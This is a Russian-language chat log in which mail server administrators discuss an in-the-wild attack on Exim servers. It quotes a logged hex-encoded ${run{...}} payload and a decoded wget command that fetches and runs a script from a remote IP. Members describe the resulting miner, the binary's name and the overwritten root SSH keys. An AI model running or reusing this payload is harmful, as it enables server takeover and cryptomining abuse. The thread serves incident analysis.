Size: a a a

Independent mail community

2019 June 10

+

+_- in Independent mail community
+_-
grep bash exim.log
2019-06-09 22:29:58 1ha6K6-00045f-Mi ** ${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2ejtvkjs\x20\x26\x26\x20sh\x20\x2froot\x2f\x2ejtvkjs\x20\x2dn\x22\x20\x26}}

Там это, китайские друзья шлют подарки в экзим.
wget --no-check-certificate -t 3 -T 75 http://185.162.235.211/ldmxim -O  /tmp/virus
источник

+

+_- in Independent mail community
вот sh скрипт
источник

+

+_- in Independent mail community
а прилетает письмо с
источник

+

+_- in Independent mail community
источник

D

Denis in Independent mail community
Это лайтовая ламповая версия, мы получили простыню с резервированием на нескольких Тор выходах .origin
источник

+

+_- in Independent mail community
+_-
вот sh скрипт
sh скрипт качает что ему надо
и запускает уже бинарник [kthrotlds]
источник

+

+_- in Independent mail community
А [kthrotlds] запускает майнеры
источник

D

Denis in Independent mail community
+_-
А [kthrotlds] запускает майнеры
Тоже самое,...
источник

+

+_- in Independent mail community
найдо найти в майнере кошелёк, псомтреть сколько уже намайнили:)
источник

D

Denis in Independent mail community
+_-
найдо найти в майнере кошелёк, псомтреть сколько уже намайнили:)
Я так понял они ещё проводят A/B тесты, много разных версий сегодня попалось.
источник

+

+_- in Independent mail community
сам майнер собирается, запускается и удаляется с fs)
источник

+

+_- in Independent mail community
Denis
Я так понял они ещё проводят A/B тесты, много разных версий сегодня попалось.
сделали бы с найсом меньше палились бы
источник

+

+_- in Independent mail community
а ещё зачем-то authorised_keys перетёрли для root и разрешили рут логин
источник

+

+_- in Independent mail community
тоже палево
источник

+

+_- in Independent mail community
:)
источник

YT

Yuri T. in Independent mail community
тож пытались
источник

D

Denis in Independent mail community
+_-
сделали бы с найсом меньше палились бы
Это тоже должен быть фиктивный у вас, там несколько уровней входа. Верхний уровень уходит напрямую в торы лоадбалансер похоже.
источник

VS

Vsevolod Stakhov in Independent mail community
как интересно быть админом Exim’а
источник

+

+_- in Independent mail community
Имплаинг в постфикс не бывает дыр
источник

D

Denis in Independent mail community
постфикс модульный и строгий, что не сказать про монолит exim.
источник